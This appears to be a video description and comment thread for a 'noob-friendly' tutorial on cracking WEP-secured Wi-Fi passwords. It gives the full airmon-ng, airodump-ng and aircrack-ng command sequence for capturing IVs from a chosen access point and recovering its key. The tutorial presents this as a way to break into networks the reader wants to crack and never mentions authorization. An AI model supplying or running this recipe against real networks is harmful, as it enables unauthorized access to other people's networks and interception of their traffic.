How To Hack Wireless Networks (WEP - Windows/Linux) - Part 1

This is very easy(Noob-Friendly) yet detailed tutorial on how to hack WEP-Secured wireless network passwords. This video shows how to do it on a Windows OS(XP, Vista, 7) or a Linux OS.

There are two reasons why I used a virtual OS rather then running the cracking tool locally in a Windows environment; 1 - I want this tutorial to assist not only Windows-Users but also Linux-Users and 2 - Compatibility issues are very common with airmon-ng when using in the Windows Environment and will not only limit the amount of people who are able to do it but also complicate the procedure for beginners.

- Commands Used:

airmon-ng
(Shows connected network adapters/devices)

airodump-ng wlan0
(Shows available networks on the wlan0 network adapter - Your network adapter name may differ)

airodump-ng -w passcode --bssid 00:18:39:7C:3F:D6 -C 6 wlan0
(Writes intercepted/sniffed IV's to a CAP document called passcode. The bssid specifies the Mac Address of the Access Point you are wanting to crack so the Mac Address should differ from what I use. The Channel may also differ depending on what's displayed for you. Same goes for the network adapter)

dir
(Shows files in the current directory)

aircrack-ng -a 1 -b 00:18:39:7C:3F:D6 FILENAME.cap
(Cracks the IV's in the Cab file created via the airodump-ng command. The Mac Address specified should be that of the Access Point your trying to crack)

What does it mean if I'm getting what appears to be negative(?) power? (there are dashes before ALL the figures under the PWR column)

@MetalM0nkeyapple If you don't even know how to google, you should't be messing with this, or even using the internet at all.

@nit1997 You don't. You can install backtrack on a real machine.
